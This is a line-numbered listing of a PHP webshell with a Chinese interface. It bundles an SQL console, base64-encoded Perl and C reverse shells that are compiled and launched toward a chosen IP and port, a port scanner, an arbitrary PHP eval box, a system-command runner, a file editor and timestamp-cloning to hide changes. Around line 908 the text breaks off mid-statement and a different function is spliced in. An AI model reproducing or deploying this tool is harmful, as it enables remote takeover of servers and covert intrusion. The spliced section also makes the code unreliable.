  664.                         p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" onclick="$(\'doing\').value=\'\'" style="height:50px;" type="submit" value="Query" /></td></tr></table></p>');
  665.                         if ($sql_query) {
  666.                                 $querys = @explode(';',$sql_query);
  667.                                 foreach($querys as $num=>$query) {
  668.                                         if ($query) {
  669.                                                 p("<p class=\"red b\">Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</p>");
  670.                                                 switch($DB->query_res($query))
  671.                                                 {
  672.                                                         case 0:
  673.                                                                 p('<h2>'.$DB->halt('Error').'</h2>');
  674.                                                                 break; 
  675.                                                         case 1:
  676.                                                                 $result = $DB->query($query);
  677.                                                                 $tatol = $DB->num_rows($result);
  678.                                                                 p('<table border="0" cellpadding="3" cellspacing="0">');
  679.                                                                 p('<tr class="head">');
  680.                                                                 $fieldnum = @mysql_num_fields($result);
  681.                                                                 for($i=0;$i<$fieldnum;$i++){
  682.                                                                         p('<td nowrap>'.@mysql_field_name($result, $i).'</td>');
  683.                                                                 }
  684.                                                                 p('</tr>');
  685.                                                                 if (!$tatol) {
  686.                                                                         p('<tr class="alt2" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt2\';"><td nowrap colspan="'.$fieldnum.'" class="red b">No records</td></tr>');
  687.                                                                 } else {
  688.                                                                         while($mn = $DB->fetch($result)){
  689.                                                                                 $thisbg = bg();
  690.                                                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  691.                                                                                 //读取记录用
  692.                                                                                 foreach($mn as $key=>$inside){
  693.                                                                                         p('<td nowrap>'.(($inside == null) ? '<i>null</i>' : html_clean($inside)).'</td>');
  694.                                                                                 }
  695.                                                                                 p('</tr>');
  696.                                                                                 unset($b1);
  697.                                                                         }
  698.                                                                 }
  699.                                                                 p('</table>');
  700.                                                                 break;
  701.                                                         case 2:
  702.                                                                 p('<h2>Affected Rows : '.$DB->affected_rows().'</h2>');
  703.                                                                 break;
  704.                                                 }
  705.                                         }
  706.                                 }
  707.                         } else {
  708.                                 $query = $DB->query("SHOW TABLE STATUS");
  709.                                 $table_num = $table_rows = $data_size = 0;
  710.                                 $tabledb = array();
  711.                                 while($table = $DB->fetch($query)) {
  712.                                         $data_size = $data_size + $table['Data_length'];
  713.                                         $table_rows = $table_rows + $table['Rows'];
  714.                                         $table_num++;
  715.                                         $tabledb[] = $table;
  716.                                 }
  717.                                 $data_size = sizecount($data_size);
  718.                                 unset($table);
  719.                                 if (count($tabledb)) {
  720.                                         if ($highver) {
  721.                                                 $db_engine = $DB->fetch($DB->query("SHOW VARIABLES LIKE 'storage_engine';"));                                          
  722.                                                 $db_collation = $DB->fetch($DB->query("SHOW VARIABLES LIKE 'collation_database';"));
  723.                                         }
  724.                                         $sort = array('Name', 1);
  725.                                         if($order) {
  726.                                                 if(preg_match('!s_([A-z_]+)_(\d{1})!', $order, $match)) {
  727.                                                         $sort = array($match[1], (int)$match[2]);
  728.                                                 }
  729.                                         }
  730.                                         usort($tabledb, 'cmp');
  731.                                         p('<table border="0" cellpadding="0" cellspacing="0" id="lists">');
  732.                                         p('<tr class="head">');
  733.                                         p('<td width="2%"><input name="chkall" value="on" type="checkbox" onclick="checkall(this.form)" /></td>');
  734.                                         p('<td><a href="javascript:setsort(\'s_Name_'.($sort[1]?0:1).'\');">Name</a> '.($order == 's_Name_0' ? $dchar : '').($order == 's_Name_1' || !$order ? $uchar : '').'</td>');
  735.                                         p('<td><a href="javascript:setsort(\'s_Rows_'.($sort[1]?0:1).'\');">Rows</a>'.($order == 's_Rows_0' ? $dchar : '').($order == 's_Rows_1' ? $uchar : '').'</td>');
  736.                                         p('<td><a href="javascript:setsort(\'s_Data_length_'.($sort[1]?0:1).'\');">Data_length</a>'.($order == 's_Data_length_0' ? $dchar : '').($order == 's_Data_length_1' ? $uchar : '').'</td>');
  737.                                         p('<td><a href="javascript:setsort(\'s_Create_time_'.($sort[1]?0:1).'\');">Create_time</a>'.($order == 's_Create_time_0' ? $dchar : '').($order == 's_Create_time_1' ? $uchar : '').'</td>');
  738.                                         p('<td><a href="javascript:setsort(\'s_Update_time_'.($sort[1]?0:1).'\');">Update_time</a>'.($order == 's_Update_time_0' ? $dchar : '').($order == 's_Update_time_1' ? $uchar : '').'</td>');
  739.                                         if ($highver) {
  740.                                                 p('<td>Engine</td>');
  741.                                                 p('<td>Collation</td>');
  742.                                         }
  743.                                         p('<td>Other</td>');
  744.                                         p('</tr>');
  745.                                         foreach ($tabledb as $key => $table) {
  746.                                                 $thisbg = bg();
  747.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  748.                                                 p('<td align="center" width="2%"><input type="checkbox" name="bak_table[]" value="'.$table['Name'].'" /></td>');
  749.                                                 p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a></td>');
  750.                                                 p('<td>'.$table['Rows'].' </td>');
  751.                                                 p('<td>'.sizecount($table['Data_length']).'</td>');
  752.                                                 p('<td>'.$table['Create_time'].' </td>');
  753.                                                 p('<td>'.$table['Update_time'].' </td>');
  754.                                                 if ($highver) {
  755.                                                         p('<td>'.$table['Engine'].'</td>');
  756.                                                         p('<td>'.$table['Collation'].'</td>');
  757.                                                 }
  758.                                                 p('<td><a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a></td>');
  759.                                                 p('</tr>');
  760.                                         }
  761.                                         p('<tr class="head">');
  762.                                         p('<td width="2%"> </td>');
  763.                                         p('<td>'.$table_num.' table(s)</td>');
  764.                                         p('<td>'.$table_rows.'</td>');
  765.                                         p('<td>'.$data_size.'</td>');
  766.                                         p('<td> </td>');
  767.                                         p('<td> </td>');
  768.                                         if ($highver) {
  769.                                                 p('<td>'.$db_engine['Value'].'</td>');
  770.                                                 p('<td>'.$db_collation['Value'].'</td>');
  771.                                         }
  772.                                         p('<td> </td>');
  773.                                         p('</tr>');
  774.                                         p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 9 : 7)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"bak_path\" value=\"".SA_ROOT.$dbname.".sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"button\" value=\"Export selection table\" onclick=\"$('doing').value='dump';$('dbform').submit();\" /></td></tr>");
  775.                                         p("</table>");
  776.                                 } else {
  777.                                         p('<p class="red b">No tables</p>');
  778.                                 }
  779.                                 $DB->free_result($query);
  780.                         }
  781.                 }
  782.                 $DB->close();
  783.         }
  784.         formfoot();
  785. }//end mysql
  786. elseif ($act == 'backconnect') {
  787.         !$p2 && $p2 = $_SERVER['REMOTE_ADDR'];
  788.         !$p3 && $p3 = '12345';
  789.         $usedb = array('perl'=>'perl','c'=>'c');
  790.         $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
  791.                 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
  792.                 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
  793.                 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
  794.                 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
  795.                 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
  796.                 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
  797.         $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
  798.                 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
  799.                 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
  800.                 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
  801.                 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
  802.                 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
  803.                 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
  804.                 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
  805.         if ($p1 == 'start' && $p2 && $p3 && $p4){
  806.                 if ($p4 == 'perl') {
  807.                         cf('/tmp/angel_bc',$back_connect);
  808.                         $res = execute(which('perl')." /tmp/angel_bc ".$p2." ".$p3." &");
  809.                 } else {
  810.                         cf('/tmp/angel_bc.c',$back_connect_c);
  811.                         $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
  812.                         @unlink('/tmp/angel_bc.c');
  813.                         $res = execute("/tmp/angel_bc ".$p2." ".$p3." &");
  814.                 }
  815.                 m('Now script try connect to '.$p2.':'.$p3.' ...');
  816.         }
  817.         formhead(array('title'=>'Back Connect', 'onsubmit'=>'g(\'backconnect\',null,\'start\',this.p2.value,this.p3.value,this.p4.value);return false;'));
  818.         p('<p>');
  819.         p('Your IP:');
  820.         makeinput(array('name'=>'p2','size'=>20,'value'=>$p2));
  821.         p('Your Port:');
  822.         makeinput(array('name'=>'p3','size'=>15,'value'=>$p3));
  823.         p('Use:');
  824.         makeselect(array('name'=>'p4','option'=>$usedb,'selected'=>$p4));
  825.         makeinput(array('value'=>'Start','type'=>'submit','class'=>'bt'));
  826.         p('</p>');
  827.         formfoot();
  828. }//end
  829. elseif ($act == 'portscan') {
  830.         !$p2 && $p2 = '127.0.0.1';
  831.         !$p3 && $p3 = '21,80,135,139,445,1433,3306,3389,5631,43958';
  832.         formhead(array('title'=>'端口扫描', 'onsubmit'=>'g(\'portscan\',null,\'start\',this.p2.value,this.p3.value);return false;'));
  833.         p('<p>');
  834.         p('IP:');
  835.         makeinput(array('name'=>'p2','size'=>20,'value'=>$p2));
  836.         p('Port:');
  837.         makeinput(array('name'=>'p3','size'=>80,'value'=>$p3));
  838.         makeinput(array('value'=>'扫描','type'=>'submit','class'=>'bt'));
  839.         p('</p>');
  840.         formfoot();
  841.         if ($p1 == 'start') {
  842.                 p('<h2>Result »</h2>');
  843.                 p('<ul class="info">');
  844.                 foreach(explode(',', $p3) as $port) {
  845.                         $fp = @fsockopen($p2, $port, $errno, $errstr, 1);
  846.                         if (!$fp) {
  847.                                 p('<li>'.$p2.':'.$port.' ------------------------ <span class="b">Close</span></li>');
  848.                    } else {
  849.                                 p('<li>'.$p2.':'.$port.' ------------------------ <span class="red b">Open</span></li>');
  850.                                 @fclose($fp);
  851.                    }
  852.                 }
  853.                 p('</ul>');
  854.         }
  855. }
  856. elseif ($act == 'eval') {
  857.         $phpcode = trim($p1);
  858.         if($phpcode){
  859.                 if (!preg_match('#<\?#si', $phpcode)) {
  860.                         $phpcode = "<?php\n\n{$phpcode}\n\n?>";
  861.                 }
  862.                 eval("?".">$phpcode<?");
  863.         }
  864.         formhead(array('title'=>'Eval PHP代码', 'onsubmit'=>'g(\'eval\',null,this.p1.value);return false;'));
  865.         maketext(array('title'=>'PHP 代码','name'=>'p1', 'value'=>$phpcode));
  866.         p('<p><a href="http://w'.'ww.4'.'ng'.'el.net/php'.'sp'.'y/pl'.'ugin/" target="_blank">获得插件</a></p>');
  867.         formfooter();
  868. }//end eval
  869. elseif ($act == 'editfile') {
  870.         // 编辑文件
  871.         if ($p1 == 'edit' && $p2 && $p3) {
  872.                 $fp = @fopen($p2,'w');
  873.                 m('Save file '.(@fwrite($fp,$p3) ? 'success' : 'failed'));
  874.                 @fclose($fp);
  875.         }
  876.         $contents = '';
  877.         if(file_exists($p2)) {
  878.                 $fp=@fopen($p2,'r');
  879.                 $contents=@fread($fp, filesize($p2));
  880.                 @fclose($fp);
  881.                 $contents=htmlspecialchars($contents);
  882.         }
  883.         formhead(array('title'=>'创建/编辑文件', 'onsubmit'=>'g(\'editfile\',null,\'edit\',this.p2.value,this.p3.value);return false;'));
  884.         makeinput(array('title'=>'文件名:','name'=>'p2','value'=>$p2,'newline'=>1));
  885.         maketext(array('title'=>'文件内容:','name'=>'p3','value'=>$contents));
  886.         formfooter();
  887.         goback();
  888. }//end editfile
  889. elseif ($act == 'newtime') {
  890.         $filemtime = @filemtime($p1);
  891.         formhead(array('title'=>'Clone folder/file was last modified time', 'onsubmit'=>'g(\'file\',null,\'clonetime\',this.p2.value,this.p3.value);return false;'));
  892.         makeinput(array('title'=>'Alter folder/file','name'=>'p2','value'=>$p1,'size'=>120,'newline'=>1));
  893.         makeinput(array('title'=>'Reference folder/file','name'=>'p3','value'=>$cwd,'size'=>120,'newline'=>1));
  894.         formfooter();
  895.         formhead(array('title'=>'Set last modified', 'onsubmit'=>'g(\'file\',null,\'settime\',this.p2.value,this.p3.value);return false;'));
  896.         makeinput(array('title'=>'Current folder/file','name'=>'p2','value'=>$p1,'size'=>120,'newline'=>1));
  897.         makeinput(array('title'=>'Modify time','name'=>'p3','value'=>date("Y-m-d H:i:s", $filemtime),'size'=>120,'newline'=>1));
  898.         formfooter();
  899.         goback();
  900. }//end newtime
  901. elseif ($act == 'shell') {
  902.         formhead(array('title'=>'执行命令', 'onsubmit'=>'g(\'shell\',null,this.p1.value);return false;'));
  903.         p('<p>');
  904.         makeinput(array('name'=>'p1','value'=>htmlspecialchars($p1)));
  905.         makeinput(array('class'=>'bt','type'=>'submit','value'=>'执行'));
  906.         p('</p>');
  907.         formfoot();
  908.         if n scookie($key, $value, $life = 0, $prefix = 1) {
  909.         global $timestamp, $_SERVER, $cookiepre, $cookiedomain, $cookiepath, $cookielife;
  910.         $key = ($prefix ? $cookiepre : '').$key;
  911.         $life = $life ? $life : $cookielife;
  912.         $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
  913.         setcookie($key, $value, $timestamp+$life, $cookiepath, $cookiedomain, $useport);
  914. }
  915. function loginpage() {
  916.         formhead();
  917.         makehide('act','login');
  918.         makeinput(array('name'=>'password','type'=>'password','size'=>'20'));
  919.         makeinput(array('type'=>'submit','value'=>'登录'));
  920.         formfoot();
  921.         exit;
  922. }
  923. function execute($cfe) {
  924.         $res = '';
  925.         if ($cfe) {
  926.                 if(function_exists('system')) {
  927.                         @ob_start();
  928.                         @system($cfe);
  929.                         $res = @ob_get_contents();
  930.                         @ob_end_clean();
  931.                 } elseif(function_exists('passthru')) {
  932.                         @ob_start();
  933.                         @passthru($cfe);
  934.                         $res = @ob_get_contents();
  935.                         @ob_end_clean();
  936.                 } elseif(function_exists('shell_exec')) {
  937.                         $res = @shell_exec($cfe);
  938.                 } elseif(function_exists('exec')) {
  939.                         @exec($cfe,$res);
  940.                         $res = join("\n",$res);
  941.                 } elseif(@is_resource($f = @popen($cfe,"r"))) {
  942.                         $res = '';
  943.                         while(!@feof($f)) {
  944.                                 $res .= @fread($f,1024);
  945.                         }
  946.                         @pclose($f);
  947.                 }
  948.         }
  949.         return $res;
  950. }
  951. function which($pr) {
  952.         $path = execute("which $pr");
  953.         return ($path ? $path : $pr);
  954. }
  955. function cf($fname,$text){
  956.         if($fp=@fopen($fname,'w')) {
  957.                 @fputs($fp,@base64_decode($text));
  958.                 @fclose($fp);
  959.         }
  960. }
  961. function dirsize($cwd) {
  962.         $dh = @opendir($cwd);
  963.         $size = 0;
  964.         while($file = @readdir($dh)) {
  965.                 if ($file != '.' && $file != '..') {
  966.                         $path = $cwd.'/'.$file;
  967.                         $size += @is_dir($path) ? dirsize($path) : sprintf("%u", @filesize($path));
  968.                 }
  969.         }
  970.         @closedir($dh);
  971.         return $size;
  972. }
  973. // 页面调试信息
  974. function debuginfo() {
  975.         global $starttime;
  976.         $mtime = explode(' ', microtime());
  977.         $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
  978.         echo 'Processed in '.$totaltime.' second(s)';
  979. }
  980. // 清除HTML代码
  981. function html_clean($content) {
  982.         $content = htmlspecialchars($content);
  983.         $content = str_replace("\n", "<br />", $content);
  984.         $content = str_replace("  ", "  ", $content);
  985.         $content = str_replace("\t", "    ", $content);
  986.         return $content;
  987. }
  988. // 获取权限
  989. function getChmod($file){
  990.         return substr(base_convert(@fileperms($file),10,8),-4);
  991. }
  992. function PermsColor($f) {
  993.         if (!is_readable($f)) {
  994.                 return '<span class="red">'.getPerms($f).'</span>';
  995.         } elseif (!is_writable($f)) {
  996.                 return '<span class="black">'.getPerms($f).'</span>';
  997.         } else {
  998.                 return '<span class="green">'.getPerms($f).'</span>';
  999.         }
  1000. }
  1001. function getPerms($file) {
  1002.         $mode = @fileperms($file);
  1003.         if (($mode & 0xC000) === 0xC000) {$type = 's';}
  1004.         elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
  1005.         elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
  1006.         elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
  1007.         elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
  1008.         elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
  1009.         elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
  1010.         else {$type = '?';}
  1011.         $owner['read'] = ($mode & 00400) ? 'r' : '-';
  1012.         $owner['write'] = ($mode & 00200) ? 'w' : '-';
  1013.         $owner['execute'] = ($mode & 00100) ? 'x' : '-';
  1014.         $group['read'] = ($mode & 00040) ? 'r' : '-';
  1015.         $group['write'] = ($mode & 00020) ? 'w' : '-';
  1016.         $group['execute'] = ($mode & 00010) ? 'x' : '-';
  1017.         $world['read'] = ($mode & 00004) ? 'r' : '-';
  1018.         $world['write'] = ($mode & 00002) ? 'w' : '-';
  1019.         $world['execute'] = ($mode & 00001) ? 'x' : '-';
  1020.         if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
  1021.         if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
  1022.         if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
  1023.         return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
  1024. }
  1025. function getUser($file) {
  1026.         if (function_exists('posix_getpwuid')) {
  1027.                 $array = @posix_getpwuid(@fileowner($file));
  1028.                 if ($array && is_array($array)) {
  1029.                         return ' / <a href="http://www.oicto.com/php-trojan-001/" title="User: '.$array['name'].'&#13&#10Passwd: '.$array['passwd'].'&#13&#10Uid: '.$array['uid'].'&#13&#10gid: '.$array['gid'].'&#13&#10Gecos: '.$array['gecos'].'&#13&#10Dir: '.$array['dir'].'&#13&#10Shell: '.$array['shell'].'">'.$array['name'].'</a>';
  1030.                 }
  1031.         }
  1032.         return '';
  1033. }
  1034. function copy_paste($c,$f,$d){
  1035.         if(is_dir($c.$f)){
  1036.                 mkdir($d.$f);
  1037.                 $dirs = scandir($c.$f);
  1038.                 if ($dirs) {
  1039.                         $dirs = array_diff($dirs, array('..', '.'));
  1040.                         foreach ($dirs as $file) {
  1041.                                 copy_paste($c.$f.'/',$file, $d.$f.'/');
  1042.                         }
  1043.                 }
  1044.         } elseif(is_file($c.$f)) {
  1045.                 copy($c.$f, $d.$f);
  1046.         }
  1047. }
  1048. // 删除目录
  1049. function deltree($deldir) {
  1050.         $dirs = @scandir($deldir);
  1051.         if ($dirs) {
  1052.                 $dirs = array_diff($dirs, array('..', '.'));
  1053.                 foreach ($dirs as $file) {     
  1054.                         if((is_dir($deldir.'/'.$file))) {
  1055.                                 @chmod($deldir.'/'.$file,0777);
  1056.                                 deltree($deldir.'/'.$file);
  1057.                         } else {
  1058.                                 @chmod($deldir.'/'.$file,0777);
  1059.                                 @unlink($deldir.'/'.$file);
  1060.                         }
  1061.                 }
  1062.                 @chmod($deldir,0777);
  1063.                 return @rmdir($deldir) ? 1 : 0;
  1064.         } else {
  1065.                 return 0;
  1066.         }
  1067. }
  1068. // 表格行间的背景色替换
  1069. function bg() {
  1070.         global $bgc;
  1071.         return ($bgc++%2==0) ? 'alt1' : 'alt2';
  1072. }
  1073. function cmp($a, $b) {
  1074.         global $sort;
  1075.         if(is_numeric($a[$sort[0]])) {
  1076.                 return (($a[$sort[0]] < $b[$sort[0]]) ? -1 : 1)*($sort[1]?1:-1);
  1077.         } else {
  1078.                 return strcmp($a[$sort[0]], $b[$sort[0]])*($sort[1]?1:-1);
  1079.         }
  1080. }
  1081. // 获取当前目录的上级目录
  1082. function getUpPath($cwd) {
  1083.         $pathdb = explode('/', $cwd);
  1084.         $num = count($pathdb);
  1085.         if ($num > 2) {
  1086.                 unset($pathdb[$num-1],$pathdb[$num-2]);
  1087.         }
  1088.         $uppath = implode('/', $pathdb).'/';
  1089.         $uppath = str_replace('//', '/', $uppath);
  1090.         return $uppath;
  1091. }
  1092. // 检查PHP配置参数
  1093. function getcfg($varname) {
  1094.         $result = get_cfg_var($varname);
  1095.         if ($result == 0) {
  1096.                 return 'No';
  1097.         } elseif ($result == 1) {
  1098.                 return 'Yes';
  1099.         } else {
  1100.                 return $result;
  1101.         }
  1102. }
  1103. // 获得文件扩展名
  1104. function getext($file) {
  1105.         $info = pathinfo($file);
  1106.         return $info['extension'];
  1107. }
  1108. function GetWDirList($path){
  1109.         global $dirdata,$j,$web_cwd;
  1110.         !$j && $j=1;
  1111.         $dirs = @scandir($path);
  1112.         if ($dirs) {
  1113.                 $dirs = array_diff($dirs, array('..','.'));
  1114.                 foreach ($dirs as $file) {
  1115.                         $f=str_replace('//','/',$path.'/'.$file);
  1116.                         if(is_dir($f)){
  1117.                                 if (is_writable($f)) {
  1118.                                         $dirdata[$j]['filename']='/'.str_replace($web_cwd,'',$f);
  1119.                                         $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
  1120.                                         $dirdata[$j]['chmod']=getChmod($f);
  1121.                                         $dirdata[$j]['perm']=PermsColor($f);
  1122.                                         $dirdata[$j]['owner']=getUser($f);
  1123.                                         $dirdata[$j]['link']=$f;
  1124.                                         $j++;
  1125.                                 }
  1126.                                 GetWDirList($f);
  1127.                         }
  1128.                 }
  1129.                 return $dirdata;
  1130.         } else {
  1131.                 return array();
  1132.         }
  1133. }
  1134. function sizecount($size) {
  1135.         $unit = array('Bytes', 'KB', 'MB', 'GB', 'TB','PB');
  1136.         for ($i = 0; $size >= 1024 && $i < 5; $i++) {
  1137.                 $size /= 1024;
  1138.         }
  1139.         return round($size, 2).' '.$unit[$i];
  1140. }
  1141. function p($str){
  1142.         echo $str."\n";
  1143. }
  1144. function makehide($name,$value=''){
  1145.         p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
  1146. }
  1147. function makeinput($arg = array()){
  1148.         $arg['size'] = isset($arg['size']) && $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
  1149.         $arg['type'] = isset($arg['type']) ? $arg['type'] : 'text';
  1150.         $arg['title'] = isset($arg['title']) ? $arg['title'].'<br />' : '';
  1151.         $arg['class'] = isset($arg['class']) ? $arg['class'] : 'input';
  1152.         $arg['name'] = isset($arg['name']) ? $arg['name'] : '';
  1153.         $arg['value'] = isset($arg['value']) ? $arg['value'] : '';
  1154.         if (isset($arg['newline'])) p('<p>');
  1155.         p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] />");
  1156.         if (isset($arg['newline'])) p('</p>');
  1157. }
  1158. function makeselect($arg = array()){
  1159.         $onchange = isset($arg['onchange']) ? 'onchange="'.$arg['onchange'].'"' : '';
  1160.         $arg['title'] = isset($arg['title']) ? $arg['title'] : '';
  1161.         $arg['name'] = isset($arg['name']) ? $arg['name'] : '';
  1162.         p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
  1163.                 if (is_array($arg['option'])) {
  1164.                         foreach ($arg['option'] as $key=>$value) {
  1165.                                 if ($arg['selected']==$key) {
  1166.                                         p("<option value=\"$key\" selected>$value</option>");
  1167.                                 } else {
  1168.                                         p("<option value=\"$key\">$value</option>");
  1169.                                 }
  1170.                         }
  1171.                 }
  1172.         p("</select>");
  1173. }
  1174. function formhead($arg = array()) {
  1175.         !isset($arg['method']) && $arg['method'] = 'post';
  1176.         !isset($arg['name']) && $arg['name'] = 'form1';
  1177.         $arg['extra'] = isset($arg['extra']) ? $arg['extra'] : '';
  1178.         $arg['onsubmit'] = isset($arg['onsubmit']) ? "onsubmit=\"$arg[onsubmit]\"" : '';
  1179.         p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"".SELF."\" method=\"$arg[method]\" $arg[onsubmit] $arg[extra]>");
  1180.         if (isset($arg['title'])) {
  1181.                 p('<h2>'.$arg['title'].' »</h2>');
  1182.         }
  1183. }
  1184. function maketext($arg = array()){
  1185.         $arg['title'] = isset($arg['title']) ? $arg['title'].'<br />' : '';
  1186.         $arg['name'] = isset($arg['name']) ? $arg['name'] : '';
  1187.         p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"100\" rows=\"25\">$arg[value]</textarea></p>");
  1188. }
  1189. function formfooter($name = ''){
  1190.         !$name && $name = 'submit';
  1191.         p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="提交"></p>');
  1192.         p('</form>');
  1193. }
  1194. function goback(){
  1195.         global $cwd, $charset;
  1196.         p('<form action="'.SELF.'" method="post"><input type="hidden" name="act" value="file" /><input type="hidden" name="cwd" value="'.$cwd.'" /><input type="hidden" name="charset" value="'.$charset.'" /><p><input class="bt" type="submit" value="返回"></p></form>');
  1197. }
  1198. function formfoot(){
  1199.         p('</form>');
  1200. }
  1201. function encode_pass($pass) {
  1202.         $pass = md5($pass);
  1203.         return $pass;
  1204. }
  1205. function pr($a) {
  1206.         p('<div style="text-align: left;border:1px solid #ddd;"><pre>'.print_r($a).'</pre></div>');
  1207. }
  1208. class DB_MySQL  {
  1209.         var $querycount = 0;
  1210.         var $link;
  1211.         var $charsetdb = array();
  1212.         var $charset = '';
  1213.         function connect($dbhost, $dbuser, $dbpass, $dbname='') {
  1214.                 @ini_set('mysql.connect_timeout', 5);
  1215.                 if(!$this->link = @mysql_connect($dbhost, $dbuser, $dbpass, 1)) {
  1216.                         $this->halt('Can not connect to MySQL server');
  1217.                 }
  1218.                 if($this->version() > '4.1') {
  1219.                         $this->setcharset($this->charset);
  1220.                 }
  1221.                 $dbname && mysql_select_db($dbname, $this->link);
  1222.         }
  1223.         function setcharset($charset) {
  1224.                 if ($charset && $this->charsetdb[$charset]) {
  1225.                         if(function_exists('mysql_set_charset')) {
  1226.                                 mysql_set_charset($this->charsetdb[$charset], $this->link);
  1227.                         } else {
  1228.                                 $this->query("SET character_set_connection='".$this->charsetdb[$charset]."', character_set_results='".$this->charsetdb[$charset]."', character_set_client=binary");
  1229.                         }
  1230.                 }
  1231.         }
  1232.         function select_db($dbname) {
  1233.                 return mysql_select_db($dbname, $this->link);
  1234.         }
  1235.         function geterrdesc() {
  1236.                 return (($this->link) ? mysql_error($this->link) : mysql_error());
  1237.         }
  1238.         function geterrno() {
  1239.                 return intval(($this->link) ? mysql_errno($this->link) : mysql_errno());
  1240.         }
  1241.         function fetch($query, $result_type = MYSQL_ASSOC) { //MYSQL_NUM
  1242.                 return mysql_fetch_array($query, $result_type);
  1243.         }
  1244.         function query($sql) {
  1245.                 //echo '<p style="color:#f00;">'.$sql.'</p>';
  1246.                 if(!($query = mysql_query($sql, $this->link))) {
  1247.                         $this->halt('MySQL Query Error', $sql);
  1248.                 }
  1249.                 $this->querycount++;
  1250.                 return $query;
  1251.         }
